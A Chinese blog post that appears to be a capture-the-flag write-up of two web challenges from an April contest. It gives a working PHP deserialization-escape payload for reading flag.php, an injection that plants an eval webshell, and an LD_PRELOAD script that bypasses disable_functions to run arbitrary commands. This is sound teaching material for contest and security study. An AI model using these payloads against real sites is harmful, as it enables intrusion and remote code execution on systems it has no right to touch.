江鸟's Blog

安恒月赛四月web-wp

字数统计: 873阅读时长: 4 min
2020/04/25 Share

安恒月赛四月web-wp

web1

给出源码,简单看一下事反序列化字符逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

关于反序列化字符逃逸可以👇这个:菜鸡博客

我们先按照正常的pop来进行得到我们需要构造的字符串

1
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

这是正常逻辑下的

1
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:1:"bbb";}

这个题目因为不能直接拓宽长度,只能减少长度,所以我们用前面的username去吃掉后面的";s:8:"password";s:1:"让我们输入的password自成一体

每个\0\0\0变成*有不可见字符包裹,就是剪短3个字符,";s:8:"password";s:77:"1234是27字符,除3就是9

payload(建议用burp)

1
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1234";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

web2

第一步格式化字符串https://blog.csdn.net/weixin_41185953/article/details/80485075

image-20200425181229083

然后去admin登陆,看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Your sandbox: ./shells/N2d6gGGkG2U2UZ2D/ set your shell
<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
$shell= addslashes($_GET['shell']);
$file = file_get_contents('./shell.php');
$file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
file_put_contents('./shell.php', $file);
}else{
echo "set your shell"."<br>";
chdir("/");
highlight_file(dirname(__FILE__)."/admin.php");
}
?>

推荐p神博客

这是原题

1
2
?shell=;eval($_POST[a]);
?shell=$0

蚁剑连上

image-20200425182038972

使用插件没有什么用,于是手动构造

题目给了so文件,想到了LD_PRELOAD:https://www.freebuf.com/articles/web/192052.html

以及payload:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

image-20200425182208775
上传文件,然后发现不能执行,看看内容中是否有函数被过滤,发现 mail被过滤了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>
1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail

仔细阅读文章应该可以知道需要找一个函数来开启新的进程
通过赵总的提示(赵总tql,Orz),以及https://www.anquanke.com/post/id/197745?from=singlemessage
使用gnupg拓展修改代码

image-20200425192415948

然后打上去就完事了

1
bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/admin/shells/xxxxxxx/bypass_disablefunc_x64.so

image-20200425192502140

CATALOG
  1. 1. 安恒月赛四月web-wp
    1. 1.1. web1
    2. 1.2. web2